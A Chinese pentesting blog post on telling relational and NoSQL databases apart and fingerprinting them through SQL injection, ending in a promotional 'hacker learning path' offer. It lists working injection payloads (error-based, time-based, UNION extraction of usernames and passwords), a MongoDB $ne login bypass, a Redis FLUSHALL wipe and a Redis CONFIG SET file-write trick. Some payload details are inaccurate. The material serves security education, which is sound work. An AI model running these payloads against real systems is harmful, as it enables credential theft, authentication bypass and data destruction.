数据库类型以及判断方法（渗透测试篇）
有小伙伴私信说想了解一些关于数据方面的知识，在测试时如果发现问题，如何判断数据库类型，从而进一步渗透测试（红队方向）
数据库类型
数据库共有2种类型：关系型数据库、非关系型数据库 。
1、关系数据库
MySQL、MariaDB（MySQL的代替品）、
Percona Server（MySQL的代替品·）、PostgreSQL、
Microsoft Access、Google Fusion Tables、SQLite、DB2、FileMaker、Oracle、SQL Server、INFORMIX、Sybase、dBASE、Clipper、FoxPro、foshub。
几乎所有的数据库管理系统都配备了一个开放式数据库连接（ODBC）驱动程序，令各个数据库之间得以互相集成。
延申：
如果发现了注入点（sql注入）如何判断是哪种数据库，在这里列举常用的几种数据库
（1）通过错误信息识别
MySQL：
' AND 1=cast(version() as int)--
报错会包含类似 "ERROR: invalid input syntax for integer: '5.7.32'"，显示MySQL版本。
PostgreSQL：
' AND 1=cast(version() as int)--
报错提示 "invalid input syntax for integer: PostgreSQL X.Y.Z ..."。
Oracle：
' AND 1=to_number(version)--
报错可能显示 "ORA-00904: invalid identifier"，但通过其他方式可暴露版本。
SQL Server：
sql' AND 1=convert(int,@@version)--
报错信息会包含 "Microsoft SQL Server XXXX"。
(2)特定函数测试
MySQL：
' AND sleep(5)-- -- 成功延迟则为MySQL ' SELECT @@version -- 返回版本信息PostgreSQL：
' AND pg_sleep(5)-- -- 延迟生效则为PostgreSQL ' SELECT version() -- 返回详细版本信息Oracle：
'AND(SELECTutl_inaddr.get_host_name('127.0.0.1') FROM dual) IS NOT NULL--
若存在 UTL_INADDR 权限，可能暴露Oracle。
SQL Server：
' WAITFOR DELAY '0:0:5'-- -- 延迟5秒则为SQL Server ' SELECT @@version -- 返回版本信息
(3)系统表查询MySQL：
' AND (SELECT COUNT(*) FROM information_schema.tables) > 0-- PostgreSQL：
' AND (SELECT COUNT(*) FROM pg_catalog.pg_tables) > 0-- Oracle：
' AND (SELECT COUNT(*) FROM all_tables) > 0-- SQL Server：
' AND (SELECT COUNT(*) FROM sys.databases) > 0-- 不同数据库的注入语句也存在差异
（1）字符串拼接
MySQL：
' UNION SELECT CONCAT(username, ':', password) FROM users-- Oracle：
' UNION SELECT username || ':' || password FROM users-- SQL Server：
' UNION SELECT username + ':' + password FROM users-- （2）注释符号
MySQL/PostgreSQL：
' OR 1=1 -- Oracle：
' OR 1=1 -- SQL Server：
' OR 1=1 -- （3）时间盲注
MySQL：
' AND IF(1=1, SLEEP(5), 0)-- PostgreSQL：
' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE NULL END-- SQL Server：
'IF 1=1 WAITFOR DELAY '0:0:5'--
（4）联合查询的列数填充
MySQL：
' UNION SELECT NULL, NULL, NULL-- Oracle：
' UNION SELECT NULL, NULL, NULL FROM dual--
包括自动化工具sqlmap也可以实现2 、非关系型数据库（NoSQL）
redis、MongoDB、Memcache、HBase、BigTable、Cassandra、CouchDB、Neo4J。
延伸：同样非关系型数据库运用场景
（1）文档型数据库
典型代表：MongoDB、CouchDB
特点：数据以类似JSON的文档格式存储（如BSON），支持嵌套结构。
查询方式 ：通过类JSON语法或API（如MongoDB的find({age: {$gt: 18}})）。
（2） 键值型数据库
典型代表：Redis、Memcached
特点：数据以键值对形式存储，适合高速缓存和简单查询。
查询方式 ：通过键直接读写，如GET user:1234。
（3） 宽列存储数据库
典型代表：Cassandra、HBase
特点：数据按列族（Column Family）存储，适合海量数据分布式处理。
查询方式：通过行键（Row Key）和列名定位数据。
（4）图数据库
典型代表：Neo4j、ArangoDB
特点：以图结构存储实体（节点）和关系（边），适合复杂关系分析。
查询方式：图遍历查询语言（如Cypher）。
NoSQL数据库的常见安全问题
NoSQL注入 ：
利用查询语法逻辑漏洞，例如MongoDB的操作符注入：
// 原始查询：db.users.find({user: "$user", pass: "$pass"})// 攻击载荷：user=admin&pass[$ne]=1// 实际查询：db.users.find({user: "admin", pass: {$ne: 1}})这会返回所有密码不等于1的用户（可能绕过认证）。
未授权访问 ：
案例：Redis未设置密码且绑定在公网IP，导致攻击者直接连接并执行命令：
redis-cli -h 目标IP FLUSHALL # 清空所有数据不安全的默认配置 ：
MongoDB默认无需身份验证，且早期版本监听所有接口（0.0.0.0）。
数据序列化漏洞 ：
例如，Redis的CONFIG SET命令可修改持久化路径，写入恶意文件。
NoSQL与关系型数据库的核心区别
| 特性 | 关系型数据库（如MySQL） | 非关系型数据库（如MongoDB） |
|---|---|---|
| 数据结构 | 严格表结构，行和列固定 | 灵活文档/键值/图结构，无固定模式 |
| 查询语言 | SQL（结构化查询语言） | 特定API或类JSON查询语法 |
| 扩展性 | 垂直扩展为主（增强单机性能） | 水平扩展为主（分布式架构） |
| 事务支持 | ACID事务（强一致性） | 部分支持（如MongoDB的副本集事务） |
| 典型场景 | 复杂事务处理（如银行系统） | 高并发、大数据量（如日志、社交网络） |
优点：
1、易于维护：都是使用表结构，格式一致；
2、使用方便：SQL语言通用，可用于复杂查询；
3、复杂操作：支持SQL，可用于一个表以及多个表之间非常复杂的查询。
缺点：
1、读写性能比较差，尤其是海量数据的高效率读写；
2、固定的表结构，灵活度稍欠；
3、高并发读写需求，传统关系型数据库来说，硬盘I/O是一个很大的瓶颈。
非关系型数据库严格上不是一种数据库，应该是一种数据结构化存储方法的集合，可以是文档或者键值对等。
优点：
1、格式灵活：存储数据的格式可以是key,value形式、文档形式、图片形式等等，文档形式、图片形式等等，使用灵活，应用场景广泛，而关系型数据库则只支持基础类型。
2、速度快：nosql可以使用硬盘或者随机存储器作为载体，而关系型数据库只能使用硬盘；
3、高扩展性；
4、成本低：nosql数据库部署简单，基本都是开源软件。
缺点：
1、不提供sql支持，学习和使用成本较高；
2、无事务处理；
3、数据结构相对复杂，复杂查询方面稍欠。
非关系型数据库的分类和比较：
1、key-value型 （针对高性能并发读写场景）
2、文档型 （针对海量数据访问场景）
3、列式数据库
4、图形数据库
三、每个数据库的区别：
mysql：
oracle：
sql server：
informix：
redis： （非关系型数据库----键值数据库）
MongoDB：（非关系型数据库----文档数据库）
HBase：（非关系型数据库----列存储数据库）
Neo4J ： （非关系型数据库----图形数据库）
{补充： 数据库模型：对象模型、层次模型（轻量级数据访问协议）、网状模型（大型数据储存）、关系模型、面向对象模型、半结构化模型、平面模型（表格模型，一般在形式上是一个二维数组。如表格模型数据Excel)。}
黑客/网络安全学习路线
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
网络安全学习资源分享:
下面给大家分享一份2025最新版的网络安全学习路线资料，帮助新人小白更系统、更快速的学习黑客技术！
一、2025最新网络安全学习路线
一个明确的学习路线可以帮助新人了解从哪里开始，按照什么顺序学习，以及需要掌握哪些知识点。
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
我们把学习路线分成L1到L4四个阶段，一步步带你从入门到进阶，从理论到实战。

L1级别:网络安全的基础入门
L1阶段：我们会去了解计算机网络的基础知识，以及网络安全在行业的应用和分析；学习理解安全基础的核心原理，关键技术，以及PHP编程基础；通过证书考试，可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别：网络安全的技术进阶
L2阶段我们会去学习渗透测试：包括情报收集、弱口令与口令爆破以及各大类型漏洞，还有漏洞挖掘和安全检查项目，可参加CISP-PTE证书考试。

L3级别：网络安全的高阶提升
L3阶段：我们会去学习反序列漏洞、RCE漏洞，也会学习到内网渗透实战、靶场实战和技术提取技术，系统学习Python编程和实战。参加CISP-PTE考试。

L4级别：网络安全的项目实战
L4阶段：我们会更加深入进行实战训练，包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握；而L3 L4更多的是通过项目实战来掌握核心技术，针对以上网安的学习路线我们也整理了对应的学习视频教程，和配套的学习资料。
二、技术文档和经典PDF书籍
书籍和学习文档资料是学习网络安全过程中必不可少的，我自己整理技术文档，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，（书籍含电子版PDF）

三、网络安全视频教程
对于很多自学或者没有基础的同学来说，书籍这些纯文字类的学习教材会觉得比较晦涩难以理解，因此，我们提供了丰富的网安视频教程 ，以动态、形象的方式展示技术概念，帮助你更快、更轻松地掌握核心知识。
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛
学以致用 ，当你的理论知识积累到一定程度，就需要通过项目实战，在实际操作中检验和巩固你所学到的知识，同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码
"工欲善其事必先利其器"我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

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